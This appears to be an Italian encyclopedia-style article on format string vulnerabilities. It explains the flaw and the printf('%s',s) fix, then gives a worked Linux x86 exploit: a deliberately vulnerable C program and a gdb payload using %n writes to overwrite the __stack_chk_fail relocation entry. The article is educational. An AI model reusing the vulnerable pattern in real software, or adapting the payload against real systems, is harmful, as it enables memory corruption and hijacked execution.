Format string attack
Il format string attack (vulnerabilità di formato della stringa) sono una classe di vulnerabilità scoperte nel 1999.
Funzionamento
Se si passa a una funzione che stampa una stringa a schermo, tipicamente una printf del linguaggio C, una stringa che in realtà contiene una serie di parametri di specifica dell'input (tipicamente si usano gli specificatori di formato %s e %x per esaminare il contenuto della memoria e %n per sovrascrivere parti della memoria, in particolare dello stack, si permette l'avvio di un'attacco di tipo stack overflow e return to libc). Per proteggersi da questo attacco, quando si vuole stampare una stringa s usando la printf() o un'altra funzione C che accetta un numero illimitato di specificatori di formato, bisogna scrivere la funzione
printf("%s",s)
e non scrivere
printf(s)
in quanto in questo modo l'input dell'utente non viene validato. La stringa StringPointer potrebbe contenere una serie di specificatori di formato. Questo tipo di attacco, comunque, diventa sempre più difficile grazie alla diffusione di una maggiore consapevolezza della necessità di gestire i rischi associati alla programmazione e alla conseguente diffusione di tecniche di programmazione sicura.
Esempio (Linux x86)
Dato il seguente programma C (compilato con l'opzione -fstack-protector
)
#include <stdio.h>
main(int argc, char *argv[])
{
char buf[64];
strcpy(buf,argv[1]);
printf(buf);
};
sia 0x0804a010
l'indirizzo del record di rilocazione dinamica per la funzione __stack_chk_fail
. Dopo aver verificato che l'inizio della stringa di formato è, nello stack, a 8 word (di 4 byte) di distanza dal puntatore a buf
# ./a.out `python -c 'print "AAAA" + "_0x%x"*8'`
AAAA_0xbffff9ad_0x0_0x0_0xbffff894_0x0_0x0_0x0_0x41414141
con
gdb --args ./a.out `python -c 'print "\x10\xa0\x04\x08" + "\x12\xa0\x04\x08" + "%16697x%8$n%9$n" + "A"*41 + "!"'`
[...]
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
- scriviamo 2 word di 2 byte (
16697 + 8 = 0x4141
), agli indirizzi0x0804a010 e 0x0804a012
, specificati all'inizio della stringa, a cui si accede, rispettivamente, con%8$n
e%9$n
- la chiamata a
__stack_chk_fail
viene attivata da"!"
che sovrascrive il primo byte dello stack canary 0x41414141
è in questo caso un indirizzo non valido, che genera quindi un Segmentation fault.
Collegamenti esterni
- (EN) scut / team teso Come sfruttare le Format String Vulnerabilities v1.1 March 24, 2001
- (EN) CERT standard di programmazione sicura
- (EN) CERT iniziativa per la programmazione sicura
- (EN) programmazione sicura in C e C++